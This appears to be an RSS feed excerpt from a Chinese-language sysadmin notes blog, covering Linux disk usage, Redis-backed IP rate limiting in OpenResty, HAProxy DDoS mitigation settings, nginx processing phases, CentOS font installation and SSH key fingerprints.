&lt;li>&lt;a href="https://zaoldyeck.medium.com/%E5%88%A9%E7%94%A8-olami-open-api-%E7%82%BA-chatbot-%E5%A2%9E%E5%8A%A0-nlp-%E5%8A%9F%E8%83%BD-e6b37940913d" target="_blank" rel="noopener">（二）為 Chatbot 增加 NLP 功能&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://zaoldyeck.medium.com/add-custom-skill-into-chatbot-cef9bfeeef52" target="_blank" rel="noopener">（三）為 Chatbot 添加新技能&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hackmd.io/@truckski/HkgaMUc24" target="_blank" rel="noopener">Python Telegram Bot 教學&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://kaive.me/2018/07/15/Python-telegram-bot/" target="_blank" rel="noopener">用 Python 寫一個簡單的 Telegram Bot&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/python-telegram-bot/python-telegram-bot/wiki/Code-snippets" target="_blank" rel="noopener">Code snippets&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Linux 磁碟空間未釋放的解決方法</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190710-linux-command-line-du-dh-lsof/</link><pubDate>Wed, 10 Jul 2019 09:57:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190710-linux-command-line-du-dh-lsof/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.itread01.com/content/1542767890.html" target="_blank" rel="noopener">Linux 磁碟空間未釋放的解決方法&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="使用-df--ah-命令-du--h---max-depth1">使用 &lt;code>df -ah&lt;/code> 命令 &lt;code>du -h --max-depth=1&lt;/code>&lt;/h5>
&lt;p>&lt;code>du&lt;/code> 的總和遠小於 &lt;code>df&lt;/code> 得到的總量。&lt;/p>
&lt;p>程式使用的檔案資源被刪除後，程式仍在執行，導致檔案未真正刪除，無法釋放磁碟空間，也無法被統計到。&lt;/p>
&lt;p>&lt;code>lsof |grep delete&lt;/code>&lt;/p></description></item><item><title>Sentry 原始碼開發筆記</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190703-python-sentry-develop-notes-and-uwsgi-log-format/</link><pubDate>Wed, 03 Jul 2019 11:53:15 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190703-python-sentry-develop-notes-and-uwsgi-log-format/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://chroming.gitlab.io/2018/09/26/edit_sentry_source_code/" target="_blank" rel="noopener">Sentry 原始碼開發筆記&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://uwsgi-docs.readthedocs.io/en/latest/LogFormat.html" target="_blank" rel="noopener">Formatting uWSGI requests logs&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.postgresql.org/docs/9.3/libpq-pgpass.html" target="_blank" rel="noopener">PostgreSQL: Documentation: 9.3: The Password File&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>openresty+redis 攔截高頻訪問 IP</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190627-openrestyredis/</link><pubDate>Thu, 27 Jun 2019 11:18:46 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190627-openrestyredis/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.centos.bz/2018/11/openrestyredis%E6%8B%A6%E6%88%AA%E9%AB%98%E9%A2%91%E8%AE%BF%E9%97%AEip/" target="_blank" rel="noopener">openresty+redis 攔截高頻訪問 IP&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">init_by_lua_block&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">redis&lt;/span> = &lt;span style="color:#e6db74">require&lt;/span> &lt;span style="color:#e6db74">&amp;#34;redis&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">client&lt;/span> = &lt;span style="color:#e6db74">redis.connect(&amp;#39;127.0.0.1&amp;#39;,&lt;/span> &lt;span style="color:#ae81ff">6379&lt;/span>&lt;span style="color:#e6db74">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">8080&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">access_by_lua_file&lt;/span> &lt;span style="color:#e6db74">/usr/local/nginx/conf/lua/block.lua&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">proxy_pass&lt;/span> &lt;span style="color:#e6db74">http://192.168.1.102:8000&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lua" data-lang="lua">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">-- Redis-based IP rate limiting / blocking for OpenResty (ngx_lua)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">-- NOTE:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">-- This script assumes a global `client` variable is used/stored.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">-- Make sure `redis` module is available and `client` is initialized somewhere.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> &lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">isConnected&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> client:ping()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> &lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">createRedisConnection&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> redis.connect(&lt;span style="color:#e6db74">&amp;#34;127.0.0.1&amp;#34;&lt;/span>, &lt;span style="color:#ae81ff">6379&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">-- 如果發生 redis 連線失敗，將停止攔截（直接放行）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> pcall(isConnected) &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- already connected (or ping succeeded)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- not connected; try reconnect&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> pcall(createRedisConnection) &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- 斷開重連：會導致每次訪問都需要重連 redis&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- 訪問量大時建議：關閉重連邏輯（pcall 不執行），直接 ngx.exit 放行/終止&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client &lt;span style="color:#f92672">=&lt;/span> createRedisConnection()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ngx.exit(ngx.OK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> ttl &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">60&lt;/span> &lt;span style="color:#75715e">-- 監測週期（秒）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> bktimes &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">30&lt;/span> &lt;span style="color:#75715e">-- 在監測週期內達到觸發攔截的訪問量&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> block_ttl &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">600&lt;/span> &lt;span style="color:#75715e">-- 觸發攔截後攔截時間（秒）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> ip &lt;span style="color:#f92672">=&lt;/span> ngx.var.remote_addr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">local&lt;/span> ipvtimes &lt;span style="color:#f92672">=&lt;/span> client:get(ip)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> ipvtimes &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> ipvtimes &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;-1&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- blocked&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> ngx.exit(&lt;span style="color:#ae81ff">403&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">local&lt;/span> last_ttl &lt;span style="color:#f92672">=&lt;/span> client:ttl(ip)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- ngx.say(&amp;#34;key exist.ttl is &amp;#34;, last_ttl)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> last_ttl &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:set(ip, &lt;span style="color:#ae81ff">0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:expire(ip, ttl)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- ngx.say(&amp;#34;ttl &amp;amp; vtimes recount&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> ngx.exit(ngx.OK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">local&lt;/span> vtimes &lt;span style="color:#f92672">=&lt;/span> tonumber(client:get(ip)) &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> vtimes &lt;span style="color:#f92672">&amp;lt;&lt;/span> bktimes &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:set(ip, vtimes)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:expire(ip, last_ttl)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- ngx.say(ip, &amp;#34; view &amp;#34;, vtimes, &amp;#34; times&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> ngx.exit(ngx.OK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- ngx.say(ip, &amp;#34; will be block next time.&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:set(ip, &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:expire(ip, block_ttl)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> ngx.exit(ngx.OK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- key does not exist&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:set(ip, &lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">-- ngx.say(ip, &amp;#34; view 1 times&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> client:expire(ip, ttl)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> ngx.exit(ngx.OK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>[Terraform] 入門學習筆記</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190626-terraform-getting-started/</link><pubDate>Wed, 26 Jun 2019 17:22:52 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190626-terraform-getting-started/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://godleon.github.io/blog/DevOps/terraform-getting-started/" target="_blank" rel="noopener">[Terraform] 入門學習筆記&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>設定 Haproxy 以防止 DDOS 攻擊</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190617-haproxy-ddos/</link><pubDate>Mon, 17 Jun 2019 11:07:13 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190617-haproxy-ddos/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.maxkit.com.tw/2016/05/haproxy-ddos.html" target="_blank" rel="noopener">設定 Haproxy 以防止 DDOS 攻擊&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="tcp-syn-flood-attacks">TCP syn flood attacks&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>vi /etc/sysctl.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Protection from SYN flood&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>net.ipv4.tcp_syncookies &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>net.ipv4.conf.all.rp_filter &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>net.ipv4.tcp_max_syn_backlog &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="slowloris-like-attacks">Slowloris like attacks&lt;/h3>
&lt;pre tabindex="0">&lt;code>defaults
option http-server-close
timeout http-request 5s
timeout connect 5s
timeout client 30s
timeout server 10s
timeout tunnel 1h
&lt;/code>&lt;/pre>&lt;h3 id="限制每一個-user-的連線數量">限制每一個 user 的連線數量&lt;/h3>
&lt;p>普通用戶瀏覽網站的網頁，或是從網站下載東西時，瀏覽器一般會建立 5-7 個 TCP 鏈接。當一個惡意 client 打開了大量 TCP 連線時，耗費大量資源，因此我們必須要限制同一個用戶的連線數量。&lt;/p>
&lt;p>但如果有很多使用者，是從某一個私有網段，透過 NAT 的方式連線到 Server 時，且實際上我們也不知道，到底哪一個會是 NAT 的轉址後的 IP，不知道該將哪個 IP 設定為白名單，這樣的限制就會造成問題，因此我們認為實際的環境，這樣的設定應該要保留不處理。&lt;/p>
&lt;p>以下是一個設定的範例，最重要的地方是在 frontend ft_web 區塊的設定。&lt;/p>
&lt;pre tabindex="0">&lt;code>global
stats socket ./haproxy.stats level admin
defaults
option http-server-close
mode http
timeout http-request 5s
timeout connect 5s
timeout server 10s
timeout client 30s
listen stats
bind 0.0.0.0:8880
stats enable
stats hide-version
stats uri /
stats realm HAProxy Statistics
stats auth admin:admin
frontend ft_web
bind 0.0.0.0:8080
# Table definition
stick-table type ip size 100k expire 30s store conn_cur
# Allow clean known IPs to bypass the filter
tcp-request connection accept if { src -f /etc/haproxy/whitelist.lst }
# Shut the new connection as long as the client has already 10 opened
tcp-request connection reject if { src_conn_cur ge 10 }
tcp-request connection track-sc1 src
# Split static and dynamic traffic since these requests have different impacts on the servers
use_backend bk_web_static if { path_end .jpg .png .gif .css .js }
default_backend bk_web
# Dynamic part of the application
backend bk_web
balance roundrobin
cookie MYSRV insert indirect nocache
server srv1 192.168.1.2:80 check cookie srv1 maxconn 100
server srv2 192.168.1.3:80 check cookie srv2 maxconn 100
# Static objects
backend bk_web_static
balance roundrobin
server srv1 192.168.1.2:80 check maxconn 1000
server srv2 192.168.1.3:80 check maxconn 1000
&lt;/code>&lt;/pre>&lt;h3 id="限制每個-user-產生新連線的速率-limiting-the-connection-rate-per-user">限制每個 user 產生新連線的速率 Limiting the connection rate per user&lt;/h3>
&lt;p>惡意的使用者會在短時間內建立很多連線，但如果產生新連線的速度太高，就會消耗掉過多的資源服務一個使用者。&lt;/p></description></item><item><title>白話 Kubernetes Runtime</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190613-k8s-runtime/</link><pubDate>Thu, 13 Jun 2019 11:28:26 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190613-k8s-runtime/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s?__biz=Mzg5Mjc3MjIyMA==&amp;amp;mid=2247543594&amp;amp;idx=1&amp;amp;sn=9083cff79ca7f5fb9d6fee08d1144989&amp;amp;source=41&amp;amp;poc_token=HL8MZmmjq-HF5O8fHC711sGwSQ1O9OuO5hGLL_px" target="_blank" rel="noopener">白話 Kubernetes Runtime&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Nginx 請求處理流程你了解嗎？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190307-nginx/</link><pubDate>Thu, 07 Mar 2019 14:05:55 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190307-nginx/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s/otQIhuLABU3omOLtRfJnZQ" target="_blank" rel="noopener">Nginx 請求處理流程你了解嗎？&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="11-個處理階段">11 個處理階段&lt;/h3>
&lt;p>1）NGX_HTTP_POST_READ_PHASE：&lt;/p>
&lt;p>接收到完整的 HTTP 標頭後處理的階段，位於 URI 重寫之前。實際上很少有模組會註冊在該階段，預設情況下會被跳過。&lt;/p>
&lt;p>2）NGX_HTTP_SERVER_REWRITE_PHASE：&lt;/p>
&lt;p>在 URI 與 location 匹配前修改 URI 的階段，用於重新導向。該階段執行 server 區塊內、location 區塊外的重寫指令。在讀取請求標頭的過程中，nginx 會根據 host 及埠號找到對應的虛擬主機設定。&lt;/p>
&lt;p>3）NGX_HTTP_FIND_CONFIG_PHASE：&lt;/p>
&lt;p>根據 URI 尋找匹配的 location 設定項階段，使用重寫後的 URI 來查找對應的 location。需要注意的是該階段可能會被執行多次，因為也可能有 location 級別的重寫指令。&lt;/p>
&lt;p>4）NGX_HTTP_REWRITE_PHASE：&lt;/p>
&lt;p>上一階段找到 location 後再次修改 URI，屬於 location 級別的 URI 重寫階段，也可能會被執行多次。&lt;/p>
&lt;p>5）NGX_HTTP_POST_REWRITE_PHASE：&lt;/p>
&lt;p>防止重寫 URL 後導致的死循環，屬於 location 重寫的下一階段，用來檢查上階段是否有 URI 重寫，並根據結果跳轉到合適的階段。&lt;/p>
&lt;p>6）NGX_HTTP_PREACCESS_PHASE：&lt;/p>
&lt;p>下一階段之前的準備，屬於存取權限控制的前一階段。一般也用於存取控制，例如限制存取頻率、連線數等。&lt;/p>
&lt;p>7）NGX_HTTP_ACCESS_PHASE：&lt;/p>
&lt;p>讓 HTTP 模組判斷是否允許請求進入 Nginx 伺服器的存取控制階段，例如基於 IP 白名單/黑名單、使用者名稱密碼等的權限控制。&lt;/p>
&lt;p>8）NGX_HTTP_POST_ACCESS_PHASE：&lt;/p>
&lt;p>存取控制的後一階段，根據上一階段的執行結果進行處理，向使用者送出拒絕服務的錯誤碼，用來回應上一階段的拒絕。&lt;/p>
&lt;p>9）NGX_HTTP_TRY_FILES_PHASE：&lt;/p>
&lt;p>為存取靜態檔案資源而設置，try_files 指令的處理階段。如果沒有設定 try_files 指令，該階段會被跳過。&lt;/p>
&lt;p>10）NGX_HTTP_CONTENT_PHASE：&lt;/p></description></item><item><title>阿瓦隆(The Resistance：Avalon)</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181224-avalon/</link><pubDate>Mon, 24 Dec 2018 13:22:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181224-avalon/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mj9981168.pixnet.net/blog/posts/8196168065" target="_blank" rel="noopener">阿瓦隆(The Resistance：Avalon)&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Linux CentOS 7 安裝字體庫 &amp; 中文本體</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181218-fonts/</link><pubDate>Tue, 18 Dec 2018 22:13:40 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181218-fonts/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://hk.saowen.com/a/8e1349c5e25aaca06614d56d65fcd43156684d591da80b5a886806ceac06e199" target="_blank" rel="noopener">Linux CentOS 7 安裝字體庫 &amp;amp; 中文本體&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>yum -y install fontconfig
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>這時在 /usr/shared 目錄就可以看到 fonts 和 fontconfig 目錄了（之前是沒有的）&lt;/p>
&lt;p>在這之前我們還需要新建目錄，首先在 /usr/shared/fonts 目錄下新建一個目錄 chinese&lt;/p>
&lt;p>&lt;code>mkdir /usr/shared/fonts/chinese&lt;/code>&lt;/p>
&lt;p>只需要將我們需要的字體拷貝出來並上傳至 linux 服務器 /usr/shared/fonts/chinese 目錄下即可，在這裏我選擇宋體和黑體（報表中用到了這兩種字體），可以看到是兩個後綴名為 ttf 和 ttc 的文檔&lt;/p>
&lt;p>&lt;code>chmod -R 755 /usr/share/fonts/chinese&lt;/code>&lt;/p>
&lt;p>接下來需要安裝 ttmkfdir 來搜索目錄中所有的字體信息，並彙總生成 fonts.scale 文檔&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>yum -y install ttmkfdir
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ttmkfdir -e /usr/share/X11/fonts/encodings/encodings.dir
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>vi /etc/fonts/fonts.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;dir&amp;gt;/usr/shared/fonts/chinese&amp;lt;dir&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>刷新內存中的字體緩存&lt;/p>
&lt;p>&lt;code>fc-cache&lt;/code>&lt;/p></description></item><item><title>auth.log 中 sshd 這行的 SHA256 是什麼？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181217-what-is-the-sha256-that-comes-on-the-sshd-entry-in-auth-log/</link><pubDate>Mon, 17 Dec 2018 16:11:43 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2018/20181217-what-is-the-sha256-that-comes-on-the-sshd-entry-in-auth-log/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://serverfault.com/questions/888281/what-is-the-sha256-that-comes-on-the-sshd-entry-in-auth-log" target="_blank" rel="noopener">auth.log 中 sshd 這行的 SHA256 是什麼？&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>ssh-keygen -lf .ssh/id_rsa.pub&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>cat .ssh/id_rsa.pub |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> awk &lt;span style="color:#e6db74">&amp;#39;{ print $2 }&amp;#39;&lt;/span> | &lt;span style="color:#75715e"># 只取實際的 key 資料，不含前綴或註解&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> base64 -d | &lt;span style="color:#75715e"># 以 base64 解碼&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sha256sum | &lt;span style="color:#75715e"># SHA256 雜湊（回傳十六進位）&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> awk &lt;span style="color:#e6db74">&amp;#39;{ print $1 }&amp;#39;&lt;/span> | &lt;span style="color:#75715e"># 只取十六進位資料&lt;/span>
